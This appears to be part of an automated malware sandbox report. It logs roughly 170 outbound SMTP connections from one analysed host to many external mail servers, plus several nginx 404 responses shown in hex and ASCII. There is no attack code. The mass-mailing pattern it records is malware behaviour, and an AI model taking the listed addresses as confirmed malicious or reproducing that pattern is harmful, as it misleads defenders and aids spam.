Source: global traffic	TCP traffic: 192.168.2.8:50394 -> 199.224.64.204:25
Source: global traffic	TCP traffic: 192.168.2.8:50399 -> 69.49.103.243:25
Source: global traffic	TCP traffic: 192.168.2.8:50401 -> 92.204.80.3:25
Source: global traffic	TCP traffic: 192.168.2.8:50404 -> 104.47.57.110:25
Source: global traffic	TCP traffic: 192.168.2.8:50410 -> 216.71.142.94:25
Source: global traffic	TCP traffic: 192.168.2.8:50416 -> 128.210.5.15:25
Source: global traffic	TCP traffic: 192.168.2.8:50421 -> 104.47.51.110:25
Source: global traffic	TCP traffic: 192.168.2.8:50429 -> 104.47.1.33:25
Source: global traffic	TCP traffic: 192.168.2.8:50432 -> 205.220.161.87:25
Source: global traffic	TCP traffic: 192.168.2.8:50433 -> 64.251.189.9:25
Source: global traffic	TCP traffic: 192.168.2.8:50452 -> 108.163.133.231:25
Source: global traffic	TCP traffic: 192.168.2.8:50463 -> 38.111.141.181:25
Source: global traffic	TCP traffic: 192.168.2.8:50464 -> 8.12.52.45:25
Source: global traffic	TCP traffic: 192.168.2.8:50465 -> 139.173.84.185:25
Source: global traffic	TCP traffic: 192.168.2.8:50471 -> 84.116.6.18:25
Source: global traffic	TCP traffic: 192.168.2.8:50476 -> 216.71.130.195:25
Source: global traffic	TCP traffic: 192.168.2.8:50486 -> 40.93.207.7:25
Source: global traffic	TCP traffic: 192.168.2.8:50489 -> 216.71.133.57:25
Source: global traffic	TCP traffic: 192.168.2.8:50492 -> 74.205.174.24:25
Source: global traffic	TCP traffic: 192.168.2.8:50496 -> 52.101.40.6:25
Source: global traffic	TCP traffic: 192.168.2.8:50513 -> 67.231.158.157:25
Source: global traffic	TCP traffic: 192.168.2.8:50521 -> 148.163.155.122:25
Source: global traffic	TCP traffic: 192.168.2.8:50524 -> 104.47.56.110:25
Source: global traffic	TCP traffic: 192.168.2.8:50536 -> 205.220.177.182:25
Source: global traffic	TCP traffic: 192.168.2.8:50537 -> 66.244.255.233:25
Source: global traffic	TCP traffic: 192.168.2.8:50539 -> 104.47.11.97:25
Source: global traffic	TCP traffic: 192.168.2.8:50545 -> 74.208.5.3:25
Source: global traffic	TCP traffic: 192.168.2.8:50547 -> 131.153.129.247:25
Source: global traffic	TCP traffic: 192.168.2.8:50570 -> 104.47.26.10:25
Source: global traffic	TCP traffic: 192.168.2.8:50577 -> 15.222.16.210:25
Source: global traffic	TCP traffic: 192.168.2.8:50579 -> 67.69.243.182:25
Source: global traffic	TCP traffic: 192.168.2.8:50583 -> 129.128.12.90:25
Source: global traffic	TCP traffic: 192.168.2.8:50584 -> 185.205.70.128:25
Source: global traffic	TCP traffic: 192.168.2.8:50590 -> 212.227.15.9:25
Source: global traffic	TCP traffic: 192.168.2.8:50596 -> 198.235.201.30:25
Source: global traffic	TCP traffic: 192.168.2.8:50597 -> 81.236.60.210:25
Source: global traffic	TCP traffic: 192.168.2.8:50604 -> 205.220.178.8:25
Source: global traffic	TCP traffic: 192.168.2.8:50608 -> 92.204.80.0:25
Source: global traffic	TCP traffic: 192.168.2.8:50613 -> 125.209.238.100:25
Source: global traffic	TCP traffic: 192.168.2.8:50615 -> 195.130.217.241:25
Source: global traffic	TCP traffic: 192.168.2.8:50617 -> 104.47.18.74:25
Source: global traffic	TCP traffic: 192.168.2.8:50618 -> 128.220.38.15:25
Source: global traffic	TCP traffic: 192.168.2.8:50623 -> 170.10.146.242:25
Source: global traffic	TCP traffic: 192.168.2.8:50634 -> 108.167.132.189:25
Source: global traffic	TCP traffic: 192.168.2.8:50641 -> 103.96.22.26:25
Source: global traffic	TCP traffic: 192.168.2.8:50644 -> 52.101.68.32:25
Source: global traffic	TCP traffic: 192.168.2.8:50651 -> 208.80.204.155:25
Source: global traffic	TCP traffic: 192.168.2.8:50663 -> 140.238.150.69:25
Source: global traffic	TCP traffic: 192.168.2.8:50665 -> 216.71.131.13:25
Source: global traffic	TCP traffic: 192.168.2.8:50667 -> 140.165.202.241:25
Source: global traffic	TCP traffic: 192.168.2.8:50672 -> 216.250.188.217:25
Source: global traffic	TCP traffic: 192.168.2.8:50675 -> 67.231.158.71:25
Source: global traffic	TCP traffic: 192.168.2.8:50676 -> 67.231.151.96:25
Source: global traffic	TCP traffic: 192.168.2.8:50680 -> 66.226.70.73:25
Source: global traffic	TCP traffic: 192.168.2.8:50681 -> 139.138.33.188:25
Source: global traffic	TCP traffic: 192.168.2.8:50690 -> 199.166.6.104:25
Source: global traffic	TCP traffic: 192.168.2.8:50695 -> 23.235.223.184:25
Source: global traffic	TCP traffic: 192.168.2.8:50698 -> 159.6.99.217:25
Source: global traffic	TCP traffic: 192.168.2.8:50699 -> 174.129.206.125:25
Source: global traffic	TCP traffic: 192.168.2.8:50720 -> 52.101.40.2:25
Source: global traffic	TCP traffic: 192.168.2.8:50733 -> 148.163.157.37:25
Source: global traffic	TCP traffic: 192.168.2.8:50734 -> 66.180.82.129:25
Source: global traffic	TCP traffic: 192.168.2.8:50737 -> 104.47.58.110:25
Source: global traffic	TCP traffic: 192.168.2.8:50750 -> 203.42.40.138:25
Source: global traffic	TCP traffic: 192.168.2.8:50759 -> 46.137.95.199:25
Source: global traffic	TCP traffic: 192.168.2.8:50760 -> 67.195.228.84:25
Source: global traffic	TCP traffic: 192.168.2.8:50763 -> 205.220.170.48:25
Source: global traffic	TCP traffic: 192.168.2.8:50764 -> 68.232.130.15:25
Source: global traffic	TCP traffic: 192.168.2.8:50768 -> 3.93.93.44:25
Source: global traffic	TCP traffic: 192.168.2.8:50774 -> 52.101.11.7:25
Source: global traffic	TCP traffic: 192.168.2.8:50775 -> 148.163.148.188:25
Source: global traffic	TCP traffic: 192.168.2.8:50794 -> 67.231.158.196:25
Source: global traffic	TCP traffic: 192.168.2.8:50798 -> 173.231.115.178:25
Source: global traffic	TCP traffic: 192.168.2.8:50809 -> 144.160.159.21:25
Source: global traffic	TCP traffic: 192.168.2.8:50818 -> 64.29.145.48:25
Source: global traffic	TCP traffic: 192.168.2.8:50819 -> 68.69.147.32:25
Source: global traffic	TCP traffic: 192.168.2.8:50823 -> 96.103.145.164:25
Source: global traffic	TCP traffic: 192.168.2.8:50825 -> 208.84.65.219:25
Source: global traffic	TCP traffic: 192.168.2.8:50833 -> 67.195.228.94:25
Source: global traffic	TCP traffic: 192.168.2.8:50855 -> 67.231.159.34:25
Source: global traffic	TCP traffic: 192.168.2.8:50856 -> 64.4.68.190:25
Source: global traffic	TCP traffic: 192.168.2.8:50859 -> 213.230.19.140:25
Source: global traffic	TCP traffic: 192.168.2.8:50860 -> 148.163.158.245:25
Source: global traffic	TCP traffic: 192.168.2.8:50862 -> 104.47.56.33:25
Source: global traffic	TCP traffic: 192.168.2.8:50864 -> 205.220.164.233:25
Source: global traffic	TCP traffic: 192.168.2.8:50865 -> 108.174.0.215:25
Source: global traffic	TCP traffic: 192.168.2.8:50868 -> 82.98.155.7:25
Source: global traffic	TCP traffic: 192.168.2.8:50873 -> 207.54.75.56:25
Source: global traffic	TCP traffic: 192.168.2.8:50877 -> 103.129.252.84:25
Source: global traffic	TCP traffic: 192.168.2.8:50880 -> 64.131.63.184:25
Source: global traffic	TCP traffic: 192.168.2.8:50884 -> 176.123.0.55:25
Source: global traffic	TCP traffic: 192.168.2.8:50893 -> 64.34.156.171:25
Source: global traffic	TCP traffic: 192.168.2.8:50896 -> 205.220.178.16:25
Source: global traffic	TCP traffic: 192.168.2.8:50900 -> 104.47.51.161:25
Source: global traffic	TCP traffic: 192.168.2.8:50908 -> 40.119.164.85:25
Source: global traffic	TCP traffic: 192.168.2.8:50912 -> 216.71.129.239:25
Source: global traffic	TCP traffic: 192.168.2.8:50916 -> 198.54.122.240:25
Source: global traffic	TCP traffic: 192.168.2.8:50919 -> 52.101.40.24:25
Source: global traffic	TCP traffic: 192.168.2.8:50927 -> 65.19.2.61:25
Source: global traffic	TCP traffic: 192.168.2.8:50930 -> 69.49.103.242:25
Source: global traffic	TCP traffic: 192.168.2.8:50937 -> 52.18.59.124:25
Source: global traffic	TCP traffic: 192.168.2.8:50958 -> 108.166.161.243:25
Source: global traffic	TCP traffic: 192.168.2.8:50971 -> 208.111.94.108:25
Source: global traffic	TCP traffic: 192.168.2.8:50995 -> 67.231.149.21:25
Source: global traffic	TCP traffic: 192.168.2.8:50997 -> 209.85.202.27:25
Source: global traffic	TCP traffic: 192.168.2.8:51007 -> 205.194.127.101:25
Source: global traffic	TCP traffic: 192.168.2.8:51010 -> 104.47.21.36:25
Source: global traffic	TCP traffic: 192.168.2.8:51019 -> 52.101.73.8:25
Source: global traffic	TCP traffic: 192.168.2.8:51024 -> 104.47.66.33:25
Source: global traffic	TCP traffic: 192.168.2.8:51031 -> 91.207.212.229:25
Source: global traffic	TCP traffic: 192.168.2.8:51034 -> 67.231.150.34:25
Source: global traffic	TCP traffic: 192.168.2.8:51045 -> 47.43.26.68:25
Source: global traffic	TCP traffic: 192.168.2.8:51054 -> 74.125.143.27:25
Source: global traffic	TCP traffic: 192.168.2.8:51058 -> 104.47.11.74:25
Source: global traffic	TCP traffic: 192.168.2.8:51062 -> 195.130.217.201:25
Source: global traffic	TCP traffic: 192.168.2.8:51067 -> 67.231.158.138:25
Source: global traffic	TCP traffic: 192.168.2.8:51073 -> 34.196.219.140:25
Source: global traffic	TCP traffic: 192.168.2.8:51076 -> 72.142.67.82:25
Source: global traffic	TCP traffic: 192.168.2.8:51078 -> 130.15.126.72:25
Source: global traffic	TCP traffic: 192.168.2.8:51083 -> 91.136.8.162:25
Source: global traffic	TCP traffic: 192.168.2.8:51084 -> 67.231.151.166:25
Source: global traffic	TCP traffic: 192.168.2.8:51091 -> 67.231.150.23:25
Source: global traffic	TCP traffic: 192.168.2.8:51092 -> 205.220.165.22:25
Source: global traffic	TCP traffic: 192.168.2.8:51097 -> 67.231.151.4:25
Source: global traffic	TCP traffic: 192.168.2.8:51100 -> 205.220.176.82:25
Source: global traffic	TCP traffic: 192.168.2.8:51110 -> 216.71.136.182:25
Source: global traffic	TCP traffic: 192.168.2.8:51113 -> 104.47.22.161:25
Source: global traffic	TCP traffic: 192.168.2.8:51116 -> 67.231.158.111:25
Source: global traffic	TCP traffic: 192.168.2.8:51117 -> 216.172.106.23:25
Source: global traffic	TCP traffic: 192.168.2.8:51118 -> 150.136.132.149:25
Source: global traffic	TCP traffic: 192.168.2.8:51135 -> 67.219.246.212:25
Source: global traffic	TCP traffic: 192.168.2.8:51136 -> 104.47.110.36:25
Source: global traffic	TCP traffic: 192.168.2.8:51139 -> 162.130.196.144:25
Source: global traffic	TCP traffic: 192.168.2.8:51143 -> 8.31.233.214:25
Source: global traffic	TCP traffic: 192.168.2.8:51171 -> 3.97.207.2:25
Source: global traffic	TCP traffic: 192.168.2.8:51185 -> 141.117.126.6:25
Source: global traffic	TCP traffic: 192.168.2.8:51188 -> 52.101.73.11:25
Source: global traffic	TCP traffic: 192.168.2.8:51199 -> 216.40.42.4:25
Source: global traffic	TCP traffic: 192.168.2.8:51204 -> 94.185.65.26:25
Source: global traffic	TCP traffic: 192.168.2.8:51216 -> 54.164.173.191:25
Source: global traffic	TCP traffic: 192.168.2.8:51217 -> 52.101.73.4:25
Source: global traffic	TCP traffic: 192.168.2.8:51225 -> 91.220.42.241:25
Source: global traffic	TCP traffic: 192.168.2.8:51229 -> 129.153.151.109:25
Source: global traffic	TCP traffic: 192.168.2.8:51235 -> 13.36.4.43:25
Source: global traffic	TCP traffic: 192.168.2.8:51236 -> 204.50.190.141:25
Source: global traffic	TCP traffic: 192.168.2.8:51243 -> 52.101.11.9:25
Source: global traffic	TCP traffic: 192.168.2.8:51244 -> 216.113.192.36:25
Source: global traffic	TCP traffic: 192.168.2.8:51249 -> 5.161.194.135:25
Source: global traffic	TCP traffic: 192.168.2.8:51251 -> 148.163.153.207:25
Source: global traffic	TCP traffic: 192.168.2.8:51257 -> 8.19.118.108:25
Source: global traffic	TCP traffic: 192.168.2.8:51296 -> 69.150.27.103:25
Source: global traffic	TCP traffic: 192.168.2.8:51298 -> 47.43.18.7:25
Source: global traffic	TCP traffic: 192.168.2.8:51326 -> 205.193.229.132:25
Source: global traffic	TCP traffic: 192.168.2.8:51332 -> 216.71.135.166:25
Source: global traffic	TCP traffic: 192.168.2.8:51339 -> 173.243.133.18:25
Source: global traffic	TCP traffic: 192.168.2.8:51348 -> 129.80.174.121:25
Source: global traffic	TCP traffic: 192.168.2.8:51361 -> 3.209.17.26:25
Source: global traffic	TCP traffic: 192.168.2.8:51377 -> 148.163.157.10:25
Source: global traffic	TCP traffic: 192.168.2.8:51395 -> 104.47.65.110:25
Source: global traffic	TCP traffic: 192.168.2.8:51408 -> 207.229.56.179:25
Source: global traffic	TCP traffic: 192.168.2.8:51415 -> 23.90.111.144:25
Source: global traffic	TCP traffic: 192.168.2.8:51419 -> 67.195.228.110:25
Source: global traffic	TCP traffic: 192.168.2.8:51424 -> 162.240.99.161:25
Source: global traffic	TCP traffic: 192.168.2.8:51428 -> 205.220.174.148:25
Source: global traffic	TCP traffic: 192.168.2.8:51449 -> 96.103.145.165:25
Source: global traffic	TCP traffic: 192.168.2.8:51477 -> 67.231.144.101:25

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Aug 2023 17:03:23 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Aug 2023 17:03:27 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Aug 2023 17:03:29 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Aug 2023 17:03:37 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Aug 2023 17:03:37 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
